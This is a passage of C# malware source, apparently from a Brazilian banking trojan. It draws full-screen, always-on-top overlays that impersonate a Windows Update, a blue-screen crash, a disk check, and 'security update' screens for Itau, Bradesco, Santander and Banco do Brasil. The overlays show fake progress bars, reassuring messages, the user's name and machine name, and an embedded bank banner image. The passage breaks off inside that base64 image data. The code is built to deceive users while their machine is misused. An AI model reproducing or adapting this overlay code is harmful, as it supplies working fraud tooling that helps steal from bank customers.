overlayForm.FormBorderStyle = FormBorderStyle.None; overlayForm.StartPosition = FormStartPosition.Manual; overlayForm.Location = new Point(vs.X, vs.Y); overlayForm.Size = new Size(vs.Width, vs.Height); overlayForm.TopMost = true; overlayForm.ShowInTaskbar = false; overlayForm.BackColor = Color.FromArgb(0, 120, 215); typeof(Form).GetProperty("DoubleBuffered", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic).SetValue(overlayForm, true, null); Panel dotsPanel = new Panel(); Label lblMain = new Label(); Label lblPercent = new Label(); Label lblSub = new Label(); int progress = 0; double angle = 0; switch (currentMode) { case 1: // === WINDOWS UPDATE IDENTICO === overlayForm.BackColor = Color.FromArgb(0, 120, 215); // Painel para desenhar os pontos animados dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); // Texto principal lblMain.Text = "Trabalhando nas atualizacoes"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Porcentagem lblPercent.Text = "0% concluido"; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 24); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Subtexto lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 2: // Windows preparando overlayForm.BackColor = Color.FromArgb(0, 120, 215); dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); lblMain.Text = "Preparando o Windows"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 3: // Tela Azul BSOD overlayForm.BackColor = Color.FromArgb(0, 120, 215); lblMain.Text = ":("; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 150); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "Seu PC teve um problema e precisa ser reiniciado.\nEstamos coletando algumas informacoes de erro\ne reiniciaremos para voce."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 20); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "0% concluido"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 18); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 4: // Verificando disco overlayForm.BackColor = Color.Black; lblMain.Text = "Verificando e reparando a unidade (C:):"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Consolas", 18); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "0% concluido."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Consolas", 18); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "Isso pode levar mais de uma hora para ser concluido.\nNao desligue ou desconecte o computador."; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Consolas", 14); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 5: // Tela preta total overlayForm.BackColor = Color.Black; break; // ====================================================================== // MODOS DE BANCO - COR SOLIDA (apenas 5 primeiros) // ====================================================================== case 6: case 7: case 8: string bankName = ""; Color bankBg = Color.FromArgb(236, 112, 0); Color bankText = Color.White; Color bankAccent = Color.White; switch (currentMode) { case 6: bankName = "Itau"; bankBg = Color.FromArgb(236, 112, 0); bankText = Color.White; bankAccent = Color.White; break; case 7: bankName = "Bradesco"; bankBg = Color.FromArgb(204, 9, 47); bankText = Color.White; bankAccent = Color.White; break; case 8: bankName = "Santander"; bankBg = Color.FromArgb(236, 0, 0); bankText = Color.White; bankAccent = Color.White; break; } // Fundo na cor solida do banco overlayForm.BackColor = bankBg; // Coordenadas relativas ao monitor primario dentro do VirtualScreen Rectangle priB = Screen.PrimaryScreen.Bounds; Rectangle vsB = SystemInformation.VirtualScreen; int offXB = priB.X - vsB.X; int offYB = priB.Y - vsB.Y; int scrW = priB.Width; int scrH = priB.Height; int midY = offYB + scrH / 2; int midXB = offXB + scrW / 2; // Spinner circular Color spinnerColor = bankAccent; dotsPanel.Size = new Size(70, 70); dotsPanel.Location = new Point(midXB - 35, midY - 200); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int cx = 35, cy = 35, radius = 28, thickness = 3; using (Pen bgPen = new Pen(Color.FromArgb(60, bankText), thickness)) { e.Graphics.DrawEllipse(bgPen, cx - radius, cy - radius, radius * 2, radius * 2); } using (Pen arcPen = new Pen(spinnerColor, thickness)) { arcPen.StartCap = System.Drawing.Drawing2D.LineCap.Round; arcPen.EndCap = System.Drawing.Drawing2D.LineCap.Round; float startAngle = (float)(angle * 180 / Math.PI); e.Graphics.DrawArc(arcPen, cx - radius, cy - radius, radius * 2, radius * 2, startAngle, 90); } }; overlayForm.Controls.Add(dotsPanel); // Nome do banco lblMain.Text = bankName; lblMain.ForeColor = bankText; lblMain.Font = new Font("Segoe UI", 42, FontStyle.Bold); lblMain.AutoSize = false; lblMain.Size = new Size(scrW, 70); lblMain.Location = new Point(offXB, midY - 100); lblMain.TextAlign = ContentAlignment.MiddleCenter; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Subtitulo lblPercent.Text = "Atualizacao de Seguranca"; lblPercent.ForeColor = Color.FromArgb(220, bankText); lblPercent.Font = new Font("Segoe UI", 16); lblPercent.AutoSize = false; lblPercent.Size = new Size(scrW, 35); lblPercent.Location = new Point(offXB, midY - 10); lblPercent.TextAlign = ContentAlignment.MiddleCenter; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Barra de progresso (fundo) int barW = 450; Panel barBg6 = new Panel(); barBg6.Size = new Size(barW, 6); barBg6.Location = new Point(midXB - barW / 2, midY + 40); barBg6.BackColor = Color.FromArgb(80, bankText); overlayForm.Controls.Add(barBg6); // Barra de progresso (preenchimento) Panel barFill6 = new Panel(); barFill6.Size = new Size(0, 6); barFill6.Location = new Point(0, 0); barFill6.BackColor = bankText; barBg6.Controls.Add(barFill6); // Porcentagem Label lblPct6 = new Label(); lblPct6.Text = "0%"; lblPct6.ForeColor = bankText; lblPct6.Font = new Font("Segoe UI", 14, FontStyle.Bold); lblPct6.AutoSize = false; lblPct6.Size = new Size(scrW, 30); lblPct6.Location = new Point(offXB, midY + 55); lblPct6.TextAlign = ContentAlignment.MiddleCenter; lblPct6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPct6); // Mensagem rotativa lblSub.Text = "Conectando ao servidor seguro..."; lblSub.ForeColor = Color.FromArgb(180, bankText); lblSub.Font = new Font("Segoe UI", 10); lblSub.AutoSize = false; lblSub.Size = new Size(scrW, 25); lblSub.Location = new Point(offXB, midY + 95); lblSub.TextAlign = ContentAlignment.MiddleCenter; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); // Info do usuario/PC Label lblUser6 = new Label(); lblUser6.Text = Environment.UserName + " * " + Environment.MachineName; lblUser6.ForeColor = Color.FromArgb(120, bankText); lblUser6.Font = new Font("Segoe UI", 9); lblUser6.AutoSize = false; lblUser6.Size = new Size(scrW, 20); lblUser6.Location = new Point(0, midY + 130); lblUser6.TextAlign = ContentAlignment.MiddleCenter; lblUser6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblUser6); // Mensagens rotativas string[] msgs6 = { "Conectando ao servidor seguro...", "Verificando certificados digitais...", "Baixando componentes de seguranca...", "Validando modulo de protecao...", "Atualizando configuracoes...", "Sincronizando dados...", "Verificando integridade do sistema...", "Aplicando atualizacoes de seguranca...", "Registrando componentes...", "Finalizando instalacao..." }; int msgIdx6 = 0; int prog6 = 0; int tick6 = 0; // Timer para animacao do progresso var timerBank = new System.Windows.Forms.Timer(); timerBank.Interval = 50; timerBank.Tick += (s, e) => { try { tick6++; angle -= 0.1; dotsPanel.Invalidate(); // Incrementar progresso devagar (a cada 40 ticks = 2 segundos) if (tick6 % 40 == 0 && prog6 < 99) { prog6++; int fillW = (int)((barW) * prog6 / 100.0); barFill6.Width = fillW; lblPct6.Text = prog6 + "%"; } // Mudar mensagem a cada 100 ticks = 5 segundos if (tick6 % 100 == 0) { msgIdx6 = (msgIdx6 + 1) % msgs6.Length; lblSub.Text = msgs6[msgIdx6]; } } catch { } }; timerBank.Start(); break; // ====================================================================== // MODO 9 - BANCO DO BRASIL - LAYOUT SITE REAL (v2) // ====================================================================== case 9: Rectangle priBB = Screen.PrimaryScreen.Bounds; Rectangle vsBB = SystemInformation.VirtualScreen; int offXBB = priBB.X - vsBB.X; int offYBB = priBB.Y - vsBB.Y; int scrWBB = priBB.Width; int scrHBB = priBB.Height; Color bbBlue = Color.FromArgb(41, 98, 255); Color bbYellow = Color.FromArgb(255, 230, 0); Color bbNavy = Color.FromArgb(26, 35, 126); string bbBannerB64 = "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